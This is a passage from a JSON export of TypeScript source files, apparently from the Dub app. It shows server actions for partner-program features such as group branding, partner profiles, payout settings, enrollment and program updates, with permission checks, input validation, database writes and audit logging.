revalidatePath(`/partners.dub.co/${program.slug}`),\n                      revalidatePath(`/partners.dub.co/${program.slug}/apply`),\n                    ]\n                  : []),\n              ]\n            : []),\n\n          ...(updatedDiscount.autoProvisionEnabledAt\n            ? [\n                qstash.publishJSON({\n                  url: `${APP_DOMAIN_WITH_NGROK}/api/cron/discount-codes/create/queue-batches`,\n                  body: {\n                    discountId: discount.id,\n                  },\n                }),\n              ]\n            : []),\n\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId,\n            action: \"discount.updated\",\n            description: `Discount ${discount.id} updated`,\n            actor: user,\n            targets: [\n              {\n                type: \"discount\",\n                id: discount.id,\n                metadata: updatedDiscount,\n              },\n            ],\n          }),\n        ]);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-discovered-partner.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { updateDiscoveredPartnerSchema } from \"@/lib/zod/schemas/partner-network\";\nimport { prisma } from \"@dub/prisma\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Star or dismiss a partner in the partner network\nexport const updateDiscoveredPartnerAction = authActionClient\n  .inputSchema(updateDiscoveredPartnerSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { partnerId, starred, ignored } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const discoveredPartner = await prisma.discoveredPartner.upsert({\n      where: {\n        programId_partnerId: {\n          programId,\n          partnerId,\n        },\n      },\n      create: {\n        id: createId({ prefix: \"dpn_\" }),\n        partnerId,\n        programId,\n        starredAt: starred ? new Date() : null,\n        ignoredAt: ignored ? new Date() : null,\n      },\n      update: {\n        ...(starred !== undefined && {\n          starredAt: starred ? new Date() : null,\n        }),\n        ...(ignored !== undefined && {\n          ignoredAt: ignored ? new Date() : null,\n        }),\n      },\n    });\n\n    return {\n      starredAt: discoveredPartner.starredAt,\n      ignoredAt: discoveredPartner.ignoredAt,\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-group-branding.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getGroupOrThrow } from \"@/lib/api/groups/get-group-or-throw\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { isStored, storage } from \"@/lib/storage\";\nimport { ProgramLanderData } from \"@/lib/types\";\nimport { DEFAULT_PARTNER_GROUP } from \"@/lib/zod/schemas/groups\";\nimport { programApplicationFormSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport {\n  programLanderImageBlockSchema,\n  programLanderSchema,\n} from \"@/lib/zod/schemas/program-lander\";\nimport { prisma } from \"@dub/prisma\";\nimport { isFulfilled, isRejected, nanoid, R2_URL } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { revalidatePath } from \"next/cache\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = z.object({\n  workspaceId: z.string(),\n  groupId: z.string(),\n  logo: z.string().nullish(),\n  wordmark: z.string().nullish(),\n  brandColor: z.string().nullish(),\n  applicationFormData: programApplicationFormSchema.nullish(),\n  landerData: programLanderSchema.nullish(),\n  unpublish: z.boolean().optional(),\n});\n\nexport const updateGroupBrandingAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const {\n      groupId,\n      logo,\n      wordmark,\n      brandColor,\n      applicationFormData: applicationFormDataInput,\n      landerData: landerDataInputRaw,\n      unpublish,\n    } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n    const group = await getGroupOrThrow({\n      programId,\n      groupId,\n      includeExpandedFields: true,\n    });\n\n    const { program } = group;\n\n    const uploadLogo = logo && !isStored(logo);\n    const uploadWordmark = wordmark && !isStored(wordmark);\n\n    const [logoUrl, wordmarkUrl] = await Promise.all([\n      uploadLogo\n        ? storage\n            .upload({\n              key: `programs/${programId}/logo_${nanoid(7)}`,\n              body: logo,\n            })\n            .then(({ url }) => url)\n        : undefined,\n      uploadWordmark\n        ? storage\n            .upload({\n              key: `programs/${programId}/wordmark_${nanoid(7)}`,\n              body: wordmark,\n            })\n            .then(({ url }) => url)\n        : undefined,\n    ]);\n\n    const landerDataInput = landerDataInputRaw\n      ? await uploadLanderDataImages({\n          landerData: landerDataInputRaw,\n          programId,\n        })\n      : landerDataInputRaw;\n\n    const updatedGroup = await prisma.partnerGroup.update({\n      where: {\n        id: groupId,\n      },\n      data: {\n        logo: logoUrl,\n        wordmark: wordmarkUrl,\n        brandColor,\n        applicationFormData: applicationFormDataInput\n          ? applicationFormDataInput\n          : undefined,\n        applicationFormPublishedAt: unpublish\n          ? null\n          : applicationFormDataInput\n            ? new Date()\n            : undefined,\n        landerData: landerDataInput ? landerDataInput : undefined,\n        landerPublishedAt: unpublish\n          ? null\n          : landerDataInput\n            ? new Date()\n            : undefined,\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        const res = await Promise.allSettled([\n          /*\n         Revalidate public pages if the following fields were updated:\n         - lander data\n         - application form data\n        */\n          ...(landerDataInput || applicationFormDataInput || unpublish\n            ? [\n                revalidatePath(`/partners.dub.co/${program.slug}`),\n                revalidatePath(`/partners.dub.co/${program.slug}/apply`),\n                revalidatePath(\n                  `/partners.dub.co/${program.slug}/apply/success`,\n                ),\n              ]\n            : []),\n\n          recordAuditLog({\n            workspaceId: workspace.id,\n            programId: program.id,\n            action: \"group.updated\",\n            description: `Group ${updatedGroup.name} (${group.id}) updated`,\n            actor: user,\n            targets: [\n              {\n                type: \"group\",\n                id: updatedGroup.id,\n                metadata: updatedGroup,\n              },\n            ],\n          }),\n        ]);\n\n        console.log(\n          `Completed waitUntil steps for group branding update: ${JSON.stringify(res, null, 2)}`,\n        );\n\n        if (group.slug === DEFAULT_PARTNER_GROUP.slug) {\n          await Promise.all(\n            [\n              { item: \"logo\", oldValue: group.logo, newValue: logoUrl },\n              {\n                item: \"wordmark\",\n                oldValue: group.wordmark,\n                newValue: wordmarkUrl,\n              },\n              {\n                item: \"brandColor\",\n                oldValue: group.brandColor,\n                newValue: brandColor,\n              },\n            ]\n              .filter(\n                ({ oldValue, newValue }) =>\n                  newValue !== undefined && oldValue !== newValue,\n              )\n              .map(async ({ item, oldValue, newValue }) => {\n                console.log(\n                  `Default group's ${item} updated, updating other groups (that have the same ${item})...`,\n                );\n                const updatedGroups = await prisma.partnerGroup.updateMany({\n                  where: {\n                    programId,\n                    [item]: oldValue,\n                  },\n                  data: {\n                    [item]: newValue,\n                  },\n                });\n                console.log(\n                  `Updated ${updatedGroups.count} other groups based on default group's ${item}`,\n                );\n                if (item === \"logo\") {\n                  await prisma.program.update({\n                    where: {\n                      id: programId,\n                    },\n                    data: {\n                      logo: newValue,\n                    },\n                  });\n                }\n              }),\n          );\n\n          await Promise.all(\n            [\n              {\n                item: \"landerData\",\n                data: landerDataInput,\n                conditionField: \"landerPublishedAt\",\n              },\n              {\n                item: \"applicationFormData\",\n                data: applicationFormDataInput,\n                conditionField: \"applicationFormPublishedAt\",\n              },\n            ]\n              .filter(({ data }) => data !== undefined)\n              .map(async ({ item, data, conditionField }) => {\n                console.log(\n                  `Default ${item} updated, updating other groups (that have a null ${conditionField})...`,\n                );\n                const updatedGroups = await prisma.partnerGroup.updateMany({\n                  where: {\n                    programId,\n                    [conditionField]: null,\n                  },\n                  data: {\n                    [item]: data,\n                  },\n                });\n                console.log(\n                  `Updated ${updatedGroups.count} other groups based on default group ${item}`,\n                );\n              }),\n          );\n        }\n      })(),\n    );\n\n    return {\n      success: true,\n      applicationFormData: programApplicationFormSchema\n        .nullable()\n        .parse(updatedGroup.applicationFormData),\n      landerData: programLanderSchema.nullable().parse(updatedGroup.landerData),\n    };\n  });\n\n/**\n * Uploads any foreign images from the lander data to R2 and updates the URLs in the lander data.\n */\nasync function uploadLanderDataImages({\n  landerData: landerDataParam,\n  programId,\n}: {\n  landerData: ProgramLanderData;\n  programId: string;\n}) {\n  // Clone object to avoid mutating the original\n  const landerData = JSON.parse(JSON.stringify(landerDataParam));\n\n  const foreignImageUrls = (\n    landerData.blocks.filter((block) => block.type === \"image\") as z.infer<\n      typeof programLanderImageBlockSchema\n    >[]\n  )\n    .map((block) => block.data.url)\n    .filter(\n      (url) => !url.startsWith(`${R2_URL}/programs/${programId}/lander/`),\n    );\n\n  if (foreignImageUrls.length <= 0) return landerData;\n\n  // Upload images\n  const results = await Promise.allSettled(\n    foreignImageUrls.map(async (url) => ({\n      url,\n      uploadedUrl: (\n        await storage.upload({\n          key: `programs/${programId}/lander/image_${nanoid(7)}`,\n          body: url,\n        })\n      ).url,\n    })),\n  );\n\n  // Log failed uploads\n  results.filter(isRejected).map((result) => {\n    console.error(\"Failed to upload lander image\", result.reason);\n  });\n\n  const fulfilled = results.filter(isFulfilled);\n  if (fulfilled.length <= 0) return landerData;\n\n  // Update URLs in the lander data\n  landerData.blocks.forEach((block) => {\n    if (block.type === \"image\") {\n      const result = fulfilled.find(\n        (result) => result.value.url === block.data.url,\n      );\n      if (result) {\n        block.data.url = result.value.uploadedUrl;\n      }\n    }\n  });\n\n  return landerData;\n}\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-partner-comment.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  PartnerCommentSchema,\n  updatePartnerCommentSchema,\n} from \"../../zod/schemas/programs\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Update a partner comment\nexport const updatePartnerCommentAction = authActionClient\n  .inputSchema(updatePartnerCommentSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { id, text } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"messages.write\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const comment = await prisma.partnerComment.update({\n      where: {\n        id,\n        programId,\n        userId: user.id,\n      },\n      data: {\n        text,\n      },\n      include: {\n        user: true,\n      },\n    });\n\n    return {\n      comment: PartnerCommentSchema.parse(comment),\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-partner-enrollment.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { throwIfExistingTenantEnrollmentExists } from \"@/lib/api/partners/throw-if-existing-tenant-id-exists\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst updatePartnerEnrollmentSchema = z.object({\n  workspaceId: z.string(),\n  partnerId: z.string(),\n  tenantId: z.string().nullable(),\n  customerDataSharingEnabledAt: z.coerce.date().nullable(),\n  groupMoveDisabledAt: z.coerce.date().nullable(),\n});\n\n// Update a partner's program enrollment data\nexport const updatePartnerEnrollmentAction = authActionClient\n  .inputSchema(updatePartnerEnrollmentSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const {\n      partnerId,\n      tenantId,\n      customerDataSharingEnabledAt,\n      groupMoveDisabledAt,\n    } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const { partner, tenantId: existingTenantId } =\n      await getProgramEnrollmentOrThrow({\n        partnerId,\n        programId,\n        include: {\n          partner: true,\n        },\n      });\n\n    const where = {\n      programId,\n      partnerId,\n    };\n\n    if (tenantId && tenantId !== existingTenantId) {\n      await throwIfExistingTenantEnrollmentExists({\n        tenantId,\n        programId,\n      });\n    }\n\n    const programEnrollment = await prisma.$transaction(async (tx) => {\n      await tx.link.updateMany({\n        where,\n        data: {\n          tenantId,\n        },\n      });\n\n      return await tx.programEnrollment.update({\n        where: {\n          partnerId_programId: where,\n        },\n        data: {\n          tenantId,\n          customerDataSharingEnabledAt,\n          groupMoveDisabledAt,\n        },\n        include: {\n          links: {\n            include: {\n              ...includeTags,\n              ...includeProgramEnrollment,\n            },\n          },\n        },\n      });\n    });\n\n    waitUntil(\n      Promise.allSettled([\n        recordLink(programEnrollment.links),\n        recordAuditLog({\n          workspaceId: workspace.id,\n          programId,\n          action: \"partner.enrollment_updated\",\n          description: `Partner ${partnerId} enrollment updated`,\n          actor: user,\n          targets: [\n            {\n              type: \"partner\",\n              id: partnerId,\n              metadata: partner,\n            },\n          ],\n        }),\n      ]),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-partner-notification-preference.ts",
    "content": "\"use server\";\n\nimport { partnerNotificationTypes } from \"@/lib/zod/schemas/partner-profile\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst schema = z.object({\n  type: partnerNotificationTypes,\n  value: z.boolean(),\n});\n\n// Update the notification preference for a partner+user\nexport const updatePartnerNotificationPreference = authPartnerActionClient\n  .inputSchema(schema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { user, partner } = ctx;\n    const { type, value } = parsedInput;\n\n    await prisma.partnerUser.update({\n      where: {\n        userId_partnerId: {\n          userId: user.id,\n          partnerId: partner.id,\n        },\n      },\n      data: {\n        notificationPreferences: {\n          update: {\n            [type]: value,\n          },\n        },\n      },\n    });\n\n    return { ok: true };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-partner-payout-settings.ts",
    "content": "\"use server\";\n\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport { prisma } from \"@dub/prisma\";\nimport { partnerPayoutSettingsSchema } from \"../../zod/schemas/partners\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\n// Update a partner payout & invoice settings\nexport const updatePartnerPayoutSettingsAction = authPartnerActionClient\n  .inputSchema(partnerPayoutSettingsSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner, partnerUser } = ctx;\n    const { companyName, address, taxId } = parsedInput;\n\n    throwIfNoPermission({\n      role: partnerUser.role,\n      permission: \"payout_settings.update\",\n    });\n\n    const hasInvoiceUpdate = address !== undefined || taxId !== undefined;\n\n    await prisma.partner.update({\n      where: {\n        id: partner.id,\n      },\n      data: {\n        companyName,\n        ...(hasInvoiceUpdate && {\n          invoiceSettings: {\n            ...(address !== undefined && {\n              address: address || null,\n            }),\n            ...(taxId !== undefined && {\n              taxId: taxId || null,\n            }),\n          },\n        }),\n      },\n    });\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-partner-platforms.ts",
    "content": "\"use server\";\n\nimport { upsertPartnerPlatform } from \"@/lib/api/partner-profile/upsert-partner-platform\";\nimport { sanitizeSocialHandle, sanitizeWebsite } from \"@/lib/social-utils\";\nimport { parseUrlSchemaAllowEmpty } from \"@/lib/zod/schemas/utils\";\nimport { prisma } from \"@dub/prisma\";\nimport { PartnerPlatform, PlatformType } from \"@dub/prisma/client\";\nimport { getDomainWithoutWWW, getUrlFromString, isValidUrl } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\n/**\n * Helper function to create a schema for social platform handles.\n * Preserves undefined (ignore) and null (remove), sanitizes string values.\n */\nconst createSocialPlatformSchema = (platform: PlatformType) => {\n  return z\n    .string()\n    .nullish()\n    .transform((input) => {\n      if (input === undefined) return undefined;\n      if (input === null) return null;\n      return sanitizeSocialHandle(input, platform);\n    });\n};\n\n/**\n * Helper function to create a schema for website URLs.\n * Preserves undefined (ignore) and null (remove), sanitizes string values.\n */\nconst createWebsiteSchema = () => {\n  return parseUrlSchemaAllowEmpty()\n    .nullish()\n    .transform((input) => {\n      if (input === undefined) return undefined;\n      if (input === null) return null;\n      return sanitizeWebsite(input);\n    })\n    .refine(\n      (value) => {\n        return !value || isValidUrl(value);\n      },\n      {\n        message: \"Invalid website URL.\",\n      },\n    );\n};\n\nconst updatePartnerPlatformsSchema = z.object({\n  website: createWebsiteSchema(),\n  youtube: createSocialPlatformSchema(\"youtube\"),\n  twitter: createSocialPlatformSchema(\"twitter\"),\n  linkedin: createSocialPlatformSchema(\"linkedin\"),\n  instagram: createSocialPlatformSchema(\"instagram\"),\n  tiktok: createSocialPlatformSchema(\"tiktok\"),\n  source: z.enum([\"onboarding\", \"settings\"]).default(\"onboarding\"),\n});\n\nexport const updatePartnerPlatformsAction = authPartnerActionClient\n  .inputSchema(updatePartnerPlatformsSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner } = ctx;\n\n    const partnerPlatform = await prisma.partnerPlatform.findMany({\n      where: {\n        partnerId: partner.id,\n      },\n    });\n\n    const platformIdentifiers = new Map(\n      partnerPlatform.map((p) => [p.type, p.identifier]),\n    );\n\n    const partnerPlatformsData: Pick<\n      PartnerPlatform,\n      \"type\" | \"identifier\" | \"verifiedAt\"\n    >[] = [];\n\n    const platformsToDelete: Array<{\n      partnerId: string;\n      type: PlatformType;\n    }> = [];\n\n    // Define platform configurations\n    // null = remove, undefined = ignore (no changes)\n    const platformConfigs: Array<{\n      platform: PlatformType;\n      inputValue: string | null | undefined;\n    }> = [\n      { platform: \"youtube\", inputValue: parsedInput.youtube },\n      { platform: \"twitter\", inputValue: parsedInput.twitter },\n      { platform: \"linkedin\", inputValue: parsedInput.linkedin },\n      { platform: \"instagram\", inputValue: parsedInput.instagram },\n      { platform: \"tiktok\", inputValue: parsedInput.tiktok },\n      { platform: \"website\", inputValue: parsedInput.website },\n    ];\n\n    for (const { platform, inputValue } of platformConfigs) {\n      const currentIdentifier = platformIdentifiers.get(platform);\n\n      // Handle deletion: null = remove\n      if (inputValue === null && currentIdentifier !== undefined) {\n        platformsToDelete.push({\n          partnerId: partner.id,\n          type: platform,\n        });\n        continue;\n      }\n\n      // Handle update: non-null, non-undefined value that differs from current\n      if (\n        inputValue !== undefined &&\n        inputValue !== null &&\n        inputValue !== currentIdentifier\n      ) {\n        // Special handling for website: check domain change\n        if (platform === \"website\") {\n          let domainChanged = false;\n\n          try {\n            const oldDomain = getDomainWithoutWWW(\n              getUrlFromString(currentIdentifier ?? \"\"),\n            );\n            const newDomain = getDomainWithoutWWW(\n              getUrlFromString(inputValue ?? \"\"),\n            );\n\n            domainChanged = oldDomain !== newDomain;\n          } catch (error) {\n            console.error(\"Failed to get domain from partner website\", error);\n            domainChanged = true;\n          }\n\n          if (domainChanged) {\n            partnerPlatformsData.push({\n              type: \"website\",\n              identifier: inputValue,\n              verifiedAt: null,\n            });\n          }\n        } else {\n          // For all other platforms, update if value changed\n          partnerPlatformsData.push({\n            type: platform,\n            identifier: inputValue,\n            verifiedAt: null,\n          });\n        }\n      }\n    }\n\n    // Execute deletions and updates in parallel\n    const operations: Promise<unknown>[] = [];\n\n    if (platformsToDelete.length > 0) {\n      operations.push(\n        ...platformsToDelete.map(({ partnerId, type }) =>\n          prisma.partnerPlatform.delete({\n            where: {\n              partnerId_type: {\n                partnerId,\n                type,\n              },\n            },\n          }),\n        ),\n      );\n    }\n\n    if (partnerPlatformsData.length > 0) {\n      operations.push(\n        ...partnerPlatformsData.map((item) =>\n          upsertPartnerPlatform({\n            where: {\n              partnerId: partner.id,\n              type: item.type,\n            },\n            data: {\n              identifier: item.identifier,\n              verifiedAt: item.verifiedAt,\n            },\n          }),\n        ),\n      );\n    }\n\n    if (operations.length === 0) {\n      return;\n    }\n\n    await Promise.all(operations);\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-partner-profile.ts",
    "content": "\"use server\";\n\nimport { confirmEmailChange } from \"@/lib/auth/confirm-email-change\";\nimport { throwIfNoPermission } from \"@/lib/auth/partner-users/throw-if-no-permission\";\nimport { qstash } from \"@/lib/cron\";\nimport { storage } from \"@/lib/storage\";\nimport { stripe } from \"@/lib/stripe\";\nimport { partnerProfileChangeHistoryLogSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport {\n  MAX_PARTNER_DESCRIPTION_LENGTH,\n  PartnerProfileSchema,\n} from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { Partner, PartnerProfileType } from \"@dub/prisma/client\";\nimport {\n  APP_DOMAIN_WITH_NGROK,\n  COUNTRIES,\n  deepEqual,\n  nanoid,\n  PARTNERS_DOMAIN,\n} from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { uploadedImageSchema } from \"../../zod/schemas/misc\";\nimport { authPartnerActionClient } from \"../safe-action\";\n\nconst updatePartnerProfileSchema = z\n  .object({\n    name: z.string().optional(),\n    email: z.email().optional(),\n    image: uploadedImageSchema.nullish(),\n    description: z.string().max(MAX_PARTNER_DESCRIPTION_LENGTH).nullish(),\n    country: z.enum(Object.keys(COUNTRIES) as [string, ...string[]]).nullish(),\n    profileType: z.enum(PartnerProfileType).optional(),\n    companyName: z.string().nullish(),\n  })\n  .extend(PartnerProfileSchema.partial().shape)\n  .transform((data) => ({\n    ...data,\n    companyName: data.profileType === \"individual\" ? null : data.companyName,\n  }));\n\n// Update a partner profile\nexport const updatePartnerProfileAction = authPartnerActionClient\n  .inputSchema(updatePartnerProfileSchema)\n  .action(async ({ ctx, parsedInput }) => {\n    const { partner, partnerUser } = ctx;\n\n    throwIfNoPermission({\n      role: partnerUser.role,\n      permission: \"partner_profile.update\",\n    });\n\n    const {\n      name,\n      email: newEmail,\n      image,\n      description,\n      country,\n      profileType,\n      companyName,\n      monthlyTraffic,\n      industryInterests,\n      preferredEarningStructures,\n      salesChannels,\n    } = parsedInput;\n\n    if (\n      profileType === \"company\" &&\n      (companyName === undefined ? !partner.companyName : !companyName)\n    )\n      throw new Error(\"Legal company name is required.\");\n\n    await updatedComplianceFieldsChecks({\n      partner,\n      input: parsedInput,\n    });\n\n    let imageUrl: string | null = null;\n    let needsEmailVerification = false;\n    const emailChanged = newEmail !== undefined && partner.email !== newEmail;\n\n    // Upload the new image\n    if (image) {\n      const uploaded = await storage.upload({\n        key: `partners/${partner.id}/image_${nanoid(7)}`,\n        body: image,\n      });\n      imageUrl = uploaded.url;\n    }\n\n    try {\n      const updatedPartner = await prisma.partner.update({\n        where: {\n          id: partner.id,\n        },\n        data: {\n          name,\n          description,\n          ...(imageUrl && { image: imageUrl }),\n          country,\n          profileType,\n          companyName,\n          monthlyTraffic,\n          ...(industryInterests && {\n            industryInterests: {\n              deleteMany: {},\n              create: industryInterests.map((name) => ({\n                industryInterest: name,\n              })),\n            },\n          }),\n\n          ...(preferredEarningStructures && {\n            preferredEarningStructures: {\n              deleteMany: {},\n              create: preferredEarningStructures.map((name) => ({\n                preferredEarningStructure: name,\n              })),\n            },\n          }),\n\n          ...(salesChannels && {\n            salesChannels: {\n              deleteMany: {},\n              create: salesChannels.map((name) => ({\n                salesChannel: name,\n              })),\n            },\n          }),\n        },\n        include: {\n          preferredEarningStructures: true,\n          salesChannels: true,\n          programs: true,\n          platforms: true,\n        },\n      });\n\n      // If the email is being changed, we need to verify the new email address\n      if (emailChanged) {\n        const partnerWithEmail = await prisma.partner.findUnique({\n          where: {\n            email: newEmail,\n          },\n        });\n\n        if (partnerWithEmail) {\n          throw new Error(\n            `Email ${newEmail} is already in use. Do you want to merge your partner accounts instead? (https://d.to/merge-partners)`,\n          );\n        }\n\n        await confirmEmailChange({\n          email: partner.email!,\n          newEmail,\n          identifier: partner.id,\n          isPartnerProfile: true,\n          hostName: PARTNERS_DOMAIN,\n        });\n\n        needsEmailVerification = true;\n      }\n\n      waitUntil(\n        Promise.allSettled([\n          (async () => {\n            const shouldExpireCache = !deepEqual(\n              {\n                name: partner.name,\n                image: partner.image,\n              },\n              {\n                name: updatedPartner.name,\n                image: updatedPartner.image,\n              },\n            );\n\n            if (!shouldExpireCache) {\n              return;\n            }\n\n            await qstash.publishJSON({\n              url: `${APP_DOMAIN_WITH_NGROK}/api/cron/links/invalidate-for-partners`,\n              body: {\n                partnerId: partner.id,\n              },\n            });\n          })(),\n        ]),\n      );\n\n      return {\n        needsEmailVerification,\n      };\n    } catch (error) {\n      console.error(error);\n\n      throw new Error(error.message);\n    }\n  });\n\nconst updatedComplianceFieldsChecks = async ({\n  partner,\n  input,\n}: {\n  partner: Partner;\n  input: z.infer<typeof updatePartnerProfileSchema>;\n}) => {\n  const countryChanged =\n    input.country !== undefined &&\n    partner.country?.toLowerCase() !== input.country?.toLowerCase();\n\n  const profileTypeChanged =\n    input.profileType !== undefined &&\n    partner.profileType.toLowerCase() !== input.profileType.toLowerCase();\n\n  if (!countryChanged && !profileTypeChanged) {\n    return;\n  }\n\n  if (partner.payoutsEnabledAt) {\n    throw new Error(\n      \"Since you've already connected your bank account for payouts, you cannot change your country or profile type. Please contact support to update those fields.\",\n    );\n  }\n\n  const partnerChangeHistoryLog = partner.changeHistoryLog\n    ? partnerProfileChangeHistoryLogSchema.parse(partner.changeHistoryLog)\n    : [];\n\n  if (countryChanged) {\n    partnerChangeHistoryLog.push({\n      field: \"country\",\n      from: partner.country as string,\n      to: input.country as string,\n      changedAt: new Date(),\n    });\n  }\n\n  if (profileTypeChanged) {\n    partnerChangeHistoryLog.push({\n      field: \"profileType\",\n      from: partner.profileType,\n      to: input.profileType as PartnerProfileType,\n      changedAt: new Date(),\n    });\n  }\n\n  if (partner.stripeConnectId) {\n    await stripe.accounts.del(partner.stripeConnectId);\n  }\n\n  await prisma.partner.update({\n    where: {\n      id: partner.id,\n    },\n    data: {\n      stripeConnectId: null,\n      changeHistoryLog: partnerChangeHistoryLog,\n    },\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-program.ts",
    "content": "\"use server\";\n\nimport { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { referralFormSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { revalidatePath } from \"next/cache\";\nimport * as z from \"zod/v4\";\nimport { getProgramOrThrow } from \"../../api/programs/get-program-or-throw\";\nimport { ProgramSchema, updateProgramSchema } from \"../../zod/schemas/programs\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\nconst schema = updateProgramSchema.partial().extend({\n  workspaceId: z.string(),\n  applyHoldingPeriodDaysToAllGroups: z.boolean().optional(),\n  referralFormData: referralFormSchema.optional(),\n});\n\nexport const updateProgramAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const {\n      supportEmail,\n      helpUrl,\n      termsUrl,\n      minPayoutAmount,\n      messagingEnabledAt,\n      referralFormData,\n    } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const program = await getProgramOrThrow({\n      workspaceId: workspace.id,\n      programId,\n    });\n\n    const updatedProgram = await prisma.program.update({\n      where: {\n        id: programId,\n      },\n      data: {\n        supportEmail,\n        helpUrl,\n        termsUrl,\n        minPayoutAmount,\n        ...(messagingEnabledAt !== undefined &&\n          (getPlanCapabilities(workspace.plan).canMessagePartners ||\n            messagingEnabledAt === null) && { messagingEnabledAt }),\n        ...(referralFormData !== undefined && {\n          referralFormData: referralFormData ?? null,\n        }),\n      },\n    });\n\n    waitUntil(\n      (async () => {\n        await recordAuditLog({\n          workspaceId: workspace.id,\n          programId: program.id,\n          action: \"program.updated\",\n          description: `Program ${program.name} updated`,\n          actor: user,\n          targets: [\n            {\n              type: \"program\",\n              id: program.id,\n              metadata: updatedProgram,\n            },\n          ],\n        });\n\n        if (updatedProgram.termsUrl !== program.termsUrl) {\n          revalidatePath(`/partners.dub.co/${program.slug}/apply`);\n        }\n      })(),\n    );\n\n    return {\n      success: true,\n      program: ProgramSchema.parse(updatedProgram),\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/update-reward.ts",
